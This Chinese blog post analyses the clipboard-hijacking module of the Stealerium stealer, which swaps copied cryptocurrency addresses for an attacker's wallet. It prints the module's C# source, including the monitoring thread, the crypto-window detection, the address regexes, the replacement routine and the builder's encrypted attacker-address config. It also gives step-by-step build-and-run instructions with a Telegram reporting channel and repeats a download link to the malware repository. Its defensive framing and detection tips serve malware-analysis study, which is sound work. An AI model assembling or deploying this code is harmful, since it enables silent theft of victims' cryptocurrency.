剪切板劫持攻击完整解剖:Stealerium 加密货币地址替换引擎是如何工作的
2026/8/21 3:29:33 网站建设 项目流程

剪切板劫持攻击完整解剖:Stealerium 加密货币地址替换引擎是如何工作的

【免费下载链接】StealeriumStealer + Clipper + Keylogger项目地址: https://gitcode.com/gh_mirrors/st/Stealerium

深夜,你刚谈成一笔交易,对方发来一串比特币地址。你复制、粘贴、确认——几秒后,钱却进了别人的钱包。没有弹窗,没有报错,唯一异常的,是地址中间那几位和你刚才看到的对不上。这不是科幻片,而是剪切板劫持(Clipper)攻击的真实剧本。这次要拆解的Stealerium,正是把这类攻击做成了可配置、可加密、全自动运转的完整链路。整个引擎只有四个 C# 文件、不到两百行代码,却精准地完成了"监控→识别→替换"的全过程。本文不教作恶,只做一次彻底的逆向式阅读,让你看清攻击者的套路,也让你知道该怎么防。

一个先决问题:为什么剪贴板值得被攻击?

先想一个生活细节:你在网页、聊天软件和钱包 App 之间转账时,是怎么搬地址的?十有八九是复制粘贴。这就是攻击者盯上剪贴板的原因——它是用户手动核验最薄弱的一环。人眼很难逐字符比对一长串 40 位的十六进制地址,于是"替换"就变成了一种几乎不可察觉的盗窃手法。

Stealerium 的架构里,Clipper模块(位于Stealerium.Stub/Clipper/)只负责一件事:发现剪贴板里的加密货币地址,并悄悄换成攻击者自己的地址。下面我们按数据流动的方向,把它拆成五层来读。

第一层:哨兵线程——两秒一次的轮询守望

它要解决什么问题?程序无法主动收到"剪贴板变了"的系统通知,必须自己去读。

它如何解决?Stealerium.Stub/Helpers/ClipboardManager.cs中,一个后台线程进入死循环,每两秒读一次剪贴板,与上次内容比较,一旦不同就触发后续动作:

// 后台守护线程:IsBackground=true 意味着主程序退出它会跟着结束 public static readonly Thread MainThread = new Thread(MonitorClipboard) { IsBackground = true }; private static void MonitorClipboard() { while (true) { Thread.Sleep(2000); // 每 2 秒醒一次,控制 CPU 占用 ClipboardText = Clipboard.GetText(); // 读当前剪贴板文本 if (ClipboardText == _previousClipboardContent) continue; // 内容没变,跳过本轮 _previousClipboardContent = ClipboardText; // 记录新内容 EventManager.Action(); // 内容变了!交给事件层处理 } }

这里有个值得玩味的细节:为什么不做成 500ms 一次的高频轮询?因为每两秒一次已经足够覆盖"人类手动复制地址"的正常操作节奏,又能把资源占用压到极低——恶意软件也讲"低存在感"。类比:这就像一个只在你家门口徘徊的哨兵,不闯进屋里,但你每次出门换鞋,它都知道。

顺带一提,读取剪贴板在 Windows 上要求线程处于 STA 单元模型(COM 的限制),所以Clipboard.cs每次读写都会临时新建一个 STA 线程来干活,用完即弃,异常还全部静默吞掉:

public static string GetText() { var returnValue = string.Empty; try { // 剪贴板是 COM 对象,必须在 STA 线程里访问 var staThread = new Thread(() => { returnValue = System.Windows.Forms.Clipboard.GetText(); }); staThread.SetApartmentState(ApartmentState.STA); staThread.Start(); staThread.Join(); // 等这个线程干完 } catch { /* 静默失败:读不到就当空剪贴板 */ } return returnValue; }

第二层:触发开关——只在"币圈窗口"前动手

它要解决什么问题?见谁换谁太容易被发现,也浪费资源。攻击者希望只盯着"正在操作加密货币"的用户。

它如何解决?Stealerium.Stub/Clipper/EventManager.cs里,Action()会先检测当前前台窗口标题里是否含有关键词,命中才执行替换:

public static void Action() { Logger.SaveClipboard(); // 先把剪贴板原文存日志(备份证据) if (Detect()) // 当前窗口像不像币圈应用? Buffer.Replace(); // 像,才执行替换 } private static bool Detect() { // 拿当前活跃窗口的标题,转小写做不区分大小写的匹配 var activeWindow = WindowManager.ActiveWindow.ToLower(); foreach (var target in Config.CryptoServices) // 遍历关键词表 { if (activeWindow.Contains(target.ToLower())) return true; // 标题里出现"coinbase"等就放行 } return false; }

关键词表定义在Stealerium.Stub/Config.cs里,覆盖面相当讲究:bitcoincoinbasewallettradingblockchainpaxful等一应俱全。类比:不是所有访客都值得"接待",门口先看职业——你是币圈的人,才有人上来搭话。

有意思的是,Program.cs里还有一道更前面的闸门:ClipperModule == "1" && Autorun == "1" && Counter.CryptoServices。也就是说,即使构建时开了 Clipper,也要求程序已驻留自启动、且之前检测到用户进过币圈窗口,哨兵线程才会真正拉起。三重条件层层收窄,把暴露面压到最小。

第三层:指纹库——加密的正则,识别六种主流币

它要解决什么问题?剪贴板里可能是一段话、一个订单号、一句聊天,怎么准确挑出"这确实是个币地址"?

它如何解决?每种币的地址都有严格的格式规则,用正则表达式就能精确筛。Stealerium.Stub/Clipper/Patterns.cs维护了一张币种 → 正则字典,覆盖 BTC、ETH、XLM、LTC、BCH:

币种密钥明文正则(代码注释里可读到)规则解读
比特币btc^(bc1\|[13])[a-zA-HJ-NP-Z0-9]{25,39}$以 bc1 或 1/3 开头,25~39 位
以太坊eth^0x[a-fA-F0-9]{40}$0x 加恰好 40 位十六进制
恒星币xlm^G[0-9a-zA-Z]{55}$大写 G 开头,55 位
莱特币ltc^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$L/M/3 开头,26~33 位
比特现金bch^((bitcoincash:)?(q\|p)[a-z0-9]{41}$q/p 开头,41 位

这些正则一眼就能看懂,但代码里它们全部被加密成了一串字节数组,运行时才通过StringsCrypt.Decrypt()还原。为什么要多此一举?因为静态分析工具扫字符串特征词时,看到的是一堆乱码字节,而不是0x[a-fA-F0-9]{40}这种"高嫌疑签名"。这就是对抗检测的常规操作

第四层:临门一脚——替换、验签、留痕

它要解决什么问题?识别出地址后,要用攻击者预设的地址覆盖剪贴板,且不能反复替换造成死循环,也不能在配置没填地址时空跑。

它如何解决?核心逻辑在Stealerium.Stub/Clipper/Clipper.csBuffer.Replace(),全文 40 行,逻辑闭环:

public static void Replace() { var clipboardContent = Clipboard.GetText(); // 再读一次最新剪贴板 if (string.IsNullOrEmpty(clipboardContent)) // 空内容直接回家 return; // 拿币种正则挨个去匹配剪贴板内容 foreach (var dictionaryEntry in RegexPatterns.PatternsList) { var cryptocurrency = dictionaryEntry.Key; // 比如 "btc" var pattern = dictionaryEntry.Value; // 对应的正则 if (pattern.Match(clipboardContent).Success) // 匹配上了! { // 从配置里取攻击者预设的替换地址 var replaceTo = Config.ClipperAddresses.ContainsKey(cryptocurrency) ? Config.ClipperAddresses[cryptocurrency] : null; // 三重保险:地址非空、不是占位符 "---"、且不等于原文 if (!string.IsNullOrEmpty(replaceTo) && !replaceTo.Contains("---") && !clipboardContent.Equals(replaceTo)) { Clipboard.SetText(replaceTo); // 覆盖剪贴板! Logging.Log($"Clipper replaced to {replaceTo}"); // 记一笔日志 return; // 只换一次,收工 } } } }

这段代码值得逐条品:

  • Contains("---")检查:构建时没填地址,配置里就是"--- ClipperBTC ---"这种占位符。这一行判断直接避免"把占位符写回剪贴板"的灾难性 bug。
  • Equals(replaceTo)检查:如果用户复制的恰好就是攻击者地址(比如受害者也在给攻击者打钱?),跳过不换,防止替换→发现变化→再替换的死循环。
  • return提前退出:命中第一个币种就结束,不继续匹配,既省时也避免多重覆盖。

到这里,一条完整的劫持链路已经闭环:哨兵发现变化 → 窗口关键词放行 → 正则确认币地址 → 覆盖剪贴板 → 写入日志

第五层:上游装配——Builder 如何把地址埋进程序

它要解决什么问题?攻击者不可能每次攻击都改源码重编译。替换地址必须是"运行时从配置读",且配置要防抓取。

它如何解决?Stealerium.Builder/MainWindow.xaml.cs的构建界面提供了三个输入框(BTC/ETH/LTC),勾选 Clipper 开关后,地址先经过Crypt.EncryptConfig()做 AES 加密,再写进产物:

// 勾选 Clipper 复选框 → 功能开关置 1 Build.ConfigValues["Clipper"] = ClipperCheckBox.IsChecked == true ? "1" : "0"; // 地址加密后写入配置,而不是明文保存 Build.ConfigValues["ClipperBTC"] = Crypt.EncryptConfig(ClipperBTCTextBox.Text.Trim()); Build.ConfigValues["ClipperETH"] = Crypt.EncryptConfig(ClipperETHTextBox.Text.Trim()); Build.ConfigValues["ClipperLTC"] = Crypt.EncryptConfig(ClipperLTCTextBox.Text.Trim());

加密用的是 AES-256-CBC,密钥和盐写死在Builder/Crypt.csStub/Modules/Implant/StringsCrypt.cs里(两边代码几乎镜像,方便加密/解密配对)。运行时Config.InitAsync()解密;若 Clipper 开关没开,连地址都懒得解密——少一次解密操作,就少一个被调试器盯上的机会。

实战链路:从配置到触发的完整演练

如果你想在隔离环境里验证这套机制(强烈建议虚拟机),步骤如下:

  1. 克隆仓库:git clone https://gitcode.com/gh_mirrors/st/Stealerium,用 Visual Studio 打开Stealerium.sln
  2. Release配置编译Stealerium.Stub得到stub.exe
  3. 编译并运行Stealerium.Builder,填入 Telegram Bot Token 和 Chat ID(这是报告回传通道,会校验有效性);
  4. 勾选Clipper复选框,在 BTC/ETH/LTC 三个框里填入测试地址;
  5. 点击 Build 生成成品 exe,在未接入真实网络、无重要数据的虚拟机里执行;
  6. 打开任意钱包网站,复制一个测试地址,再粘贴出来——你会发现地址已被替换;
  7. 开启 Debug 模式时,日志会落在%TEMP%\Stealerium-Latest.log,形如Clipper replaced to ...,这就是攻击留下的唯一"纸面痕迹"。

这一条路走下来,你会直观感受到:整个攻击没有利用任何系统漏洞,全是合法 API + 正常用户习惯的组合拳,这正是它难防的原因。

风险与边界:这枚硬币的反面

作为技术文章,必须把话说全。这套设计远非无懈可击,看清它的破绽,才谈得上防御:

它自身的局限

  • 只处理纯文本:复制图片、HTML 富文本或加密内容时无能为力;
  • 轮询有窗口期:两秒间隔意味着"快速粘贴"可能绕过(用户手速>检测周期);
  • 没有系统级通知:相比 Windows 剪贴板历史 API,轮询注定更高延迟;
  • 明文依赖硬编码密钥StringsCrypt.cs里的 AES 密钥和盐以字节数组形式躺在源码里,逆向者花五分钟就能提取,加密只是"防君子不防小人"。

面向防御者的启示

  • 杀软/EDR 可重点监控%TEMP%\Stealerium-Latest.log的写入、频繁的Clipboard.SetText调用、以及"读剪贴板→写剪贴板"的短间隔操作对;
  • 普通用户最有效的一招:转账前把地址粘贴到记事本里逐段核对,或者干脆用硬件钱包直接确认收款地址;复制后先用"粘贴到文本编辑器再复制一次"的方式,也能打乱替换节奏。

边界与伦理

  • 这是一个公开镜像中的教学样本,代码写得相当工整,是学习恶意软件分析、反沙箱、反调试的优质教材;
  • 但请记住:在未授权设备上部署或运行这类程序,在几乎所有司法辖区都是重罪。研究它的正确姿势是隔离环境、只分析不投放,把学到的对抗知识用于检测产品开发。

结语:看懂攻击,是防御的第一步

回看整条链路,你会发现 Stealerium 的剪切板劫持没有一处"高科技":一个轮询线程、一张正则表、一次剪贴板覆盖。它赢在把人的操作习惯当成了攻击面——你复制粘贴的每一次动作,都可能成为资产流失的瞬间。

下一步行动建议:如果你做安全研发,去把Stealerium.Stub/Clipper/四个文件逐行读完,再想想你的 EDR 有没有覆盖"剪贴板替换"这类行为特征;如果你只是普通用户,今天就去养成"粘贴到记事本核对地址"的习惯。攻击者研究的是人性,防御者能做的,是比人性多一道确认。

【免费下载链接】StealeriumStealer + Clipper + Keylogger项目地址: https://gitcode.com/gh_mirrors/st/Stealerium

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询